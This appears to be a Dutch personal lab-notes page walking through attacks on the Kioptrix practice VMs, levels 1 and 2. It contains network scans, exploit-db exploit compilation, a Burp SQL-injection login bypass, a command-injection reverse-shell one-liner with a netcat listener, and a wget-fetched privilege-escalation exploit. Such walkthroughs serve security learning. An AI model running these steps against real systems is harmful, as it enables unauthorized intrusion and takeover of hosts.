Hacken van de Kioptrix virtuele machines
Kioptrix 1
Doe: netdiscover -i eth1
Je krijgt dan 3 IP-adressen, maar je moet waarschijnlijk de laatste hebben (de 1e 2 horen bij VirtualBox).
Gebruik dit adres in: nmap -p- -A IP-adres
De -p-
is om alle poorten te scannen,
de -A
voor host detection, etc.
Je krijgt o.a. dit te zien:
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: js7MYGROUP)
443/tcp open ssl/https?
Poort 139
1 van de open poorten is 139 (Samba):
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
1 van de dingen die je kan proberen is
smbclient -L IP_address
Ook interessant is enum4linux
:
root@kali:/etc/samba# enum4linux -U -o 192.168.56.110
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Mar 20 15:33:40 2022
==========================
| Target Information |
==========================
Target ........... 192.168.56.110
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
De -U
staat voor lijst met users, de
-o
voor bepalen van het OS.
Je gebruikt
Metasploit
om te bepalen welke versie er draait
(nmap -sV
laat de versie niet zien):
msfconsole
use auxiliary/scanner/smb/smb_version
set RHOST 192.168.56.110
run
Als je in Google gaat zoeken naar samba exploit
,
evt. nog voorzien van versienummer (2.2.1a), dan kom je uit bij
deze pagina van exploit-db.com
Op die pagina staat een stuk code, dat je kan downloaden.
De naam is 10.c
.
Dat bestand compileer je met
gcc 10.c -o 10
(naam van de
output is 10
).
Dat programma kan je starten
(met ./10 -b 0 192.168.56.110
), en
dan heb je toegang tot Kioptrix1.
Je kan dat controleren door commando's als
whoami
en pwd
uit te voeren.
-b 0
staat voor het platform (Linux), en je
kan ook nog -c IP-address
toevoegen.
Dat is het adres vanwaar je hackt, om een reverse connection te krijgen.
Poort 443
Nikto
Behalve met nmap
, had je de info over Apache en
de mod_ssl
module ook met
nikto
kunnen krijgen.
Je krijgt een aantal false positives te zien, bv. over
//etc/hosts
.
Er worden ook Wordpress-files gevonden, inclusief backdoor.
Maar er draait geen Wordpress.
Je krijgt ook dit te zien:
+ OSVDB-682: /usage/: Webalizer may be installed.
Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
Als je naar http://192.168.56.110/usage/
gaat,
zie je onderaan de pagina:
Generated by Webalizer Version 2.01
Het lijkt er volgens cvedetails.com op dat exploitatie niet moeilijk is, maar Jony Schats denkt van wel. Voor exploitatie is nodig dat reverse DNS lookups geconfigureerd zijn, en dat is niet waarschijnlijk.
dirb
dirb http://192.168.56.110
levert dit op:
==> DIRECTORY: http://192.168.56.110/manual/
==> DIRECTORY: http://192.168.56.110/mrtg/
==> DIRECTORY: http://192.168.56.110/usage/
---- Entering directory: http://192.168.56.110/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.56.110/mrtg/ ----
+ http://192.168.56.110/mrtg/index.html (CODE:200|SIZE:17318)
---- Entering directory: http://192.168.56.110/usage/ ----
+ http://192.168.56.110/usage/index.html (CODE:200|SIZE:4840)
MRTG
is de Multi Router Traffic Grapher, en
als je naar de folder op de server toegaat zie je dat versie 2.9.6 draait.
mod_ssl module
Een andere optie is mod_ssl
, een Apache module die
met cryptografie te maken heeft (zie
Wikipedia):
443/tcp open ssl/https Apache/1.3.20 (Unix)
(Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
O.a. kan je in exploit-db deze pagina vinden (OpenFuck v 2.c).
Helaas krijg je bij het compileren van 47080.c
deze error:
47080.c:21:10: fatal error: openssl/ssl.h: No such file or directory
21 | #include
| ^~~~~~~~~~~~~~~
compilation terminated.
Blijkbaar kan je hier een aangepaste versie vinden. Maar dat levert bij mij dezelfde error op.
Ergens wordt het volgende commando gegeven om te compileren:
gcc -Wall 47080.c -o exploit -lcrypto -lssl
Kioptrix 2
nmap scan:
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/https?
|_ssl-date: 2022-03-21T23:43:54+00:00; +3h59m58s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC4_128_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
631/tcp open ipp CUPS 1.1
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
979/tcp open status 1 (RPC #100024)
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 08:00:27:B6:75:C2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Zet eerst proxy-instellingen in browser (127.0.0.1 en 8080). Normaal staat hij op no proxy.
Vervang de recentste Java (11?) door een oudere versie (8) met
update-alternatives --config java
.
Bij mij werkt versie 8 juist niet.
Start dan burpsuite
(4:10).
Vanaf de command line moet je echt burpsuite intikken.
In de gratis versie kan je alleen temporary projecten hebben.
Klik op Next
en op
Use Burp Defaults
Onder User Options
en Display
kan je evt. het lettertype vergroten (zowel in de sectie
User Interface
als
HTTP Message Display
(dialog).
Je moet het programma wel herstarten.
5:30: Neem dezelfde proxy-instellingen (127.0.0.1 en 8080) als in
Firefox
, via
tabbladen Proxy
en Options
.
Klik op Intercept is off
(tabblad
Intercept
).
Ga in de browser naar http://burp
,
en klik rechtsboven in het venster op
CA Certificate
om het certificaat te downloaden
(klik op Save file
(de file heet cacert.der
).
6:35: Ga in de Preferences
naar
View Certificates
(door in het zoekvak
certificate
in te tikken).
Klik op Import
in het tabblad
Authorities
.
Het certificaat zou in Downloads
moeten staan.
Klik op beide Trust...
-checkboxes
7:14: Vervolgens kan je proberen Kioptrix2 als web server te bereiken via de browser. Helaas moet je dan een naam en password intikken.
Je kan proberen de source van de inlogpagina te bekijken, om te zien of het mechanisme heel simpel is.
Vervolgens zou je wat standaardcombinaties kunnen proberen, zoals
admin
, admin
.
08:15: Als dat niet lukt ga je kijken naar SQL injection.
Om te beginnen zet je Intercept on
.
Log in met iets willekeurigs, bv. test/test.
Schakel over naar Burp
, waar je onder het
tabblad Raw
het request ziet.
Rechtklik, en kies Send to Intruder
.
Ga dan naar het tabblad Intruder
.
Klik op tabblad Positions
, en dan op
Clear$
.
Attack type
moet
Sniper
blijven.
Selecteer de username, en klik op Add$
.
Dan zelfde voor password.
09:14: Ga naar de Payloads
tab.
Zet de payloads uit het tekstdocument
(lijst van mogelijke SQL injections uit de cursus) in je klembord, en
klik op Paste
.
Dan klikken op Start Attack
.
Op het tabblad Results
kan je voor elk
Request
de Response
bekijken.
Er komen bij de resultaten maar 2 lengtes voor en de kortste (779)
lijken te werken.
Selecteer 1 van die resultaten, en rechtsklik.
Kies Request in browser
en
in original session
.
Zet intercepting uit.
11:45: Terug naar Firefox
, en maak nieuw tabblad.
Daar plak je de link uit Burp.
Je krijgt dan een simpele interface om te pingen.
Wat je kan proberen is om meerdere commando's te koppelen, zoals
ping 127.0.0.1; ifconfig
Start in Kali een netcat listener:
nc -nlvp 4444
, en plak het volgende in de
web interface van het victim:
127.0.0.1; bash -i >& /dev/tcp/192.168.56.101/4444 0>&1
(het IP address van Kali).
Tik dan:
python -c 'import pty; pty.spawn("/bin/sh")'
De c-optie betekent: commando volgt als string.
Het commando: de routine spawn
binnen module
pty
wordt uitgevoerd, en die start een nieuwe
shell.
(Zie ook
deze beschrijving.)
16:45: Als je nu ls
doet zie je o.a. het bestand
pingit.php
Je hebt geen root privileges.
Tik: lsb_release -a
(resultaat: CentOS), en dan
uname -a
(kernel 2.6.9).
17:50: Ga in Google zoeken naar mogelijkheden tot privilege escalation.
Kopieer 9542.c naar Kali.
Verhuis het naar de map /var/www/html
,
om het toegankelijk te maken vanaf Kioptrix.
Start Apache (Kali): service apache2 start
Op Kioptrix: cd /tmp
en
wget http://IP_address/9542.c
gcc 9542.c -o 9542
,
chmod +x 9542
,
./9542
Dat werkt niet, en daarna probeer je 9545.c
Kioptrix 3
Kioptrix 4
Kioptrix 5
Links
- Kioptrix VMs challenge walkthrough (2018)
- Een walkthrough van alle levels door Security Ninja.
- Kioptrix level 1
- Interessante, originele uitleg van level 1.
- Kioptrix Level 1 Walkthrough
Reageer via E-mail (dalmolen@xs4all.nl)
Deze pagina is voor het laatst gewijzigd op: 15-02-23 15:02:23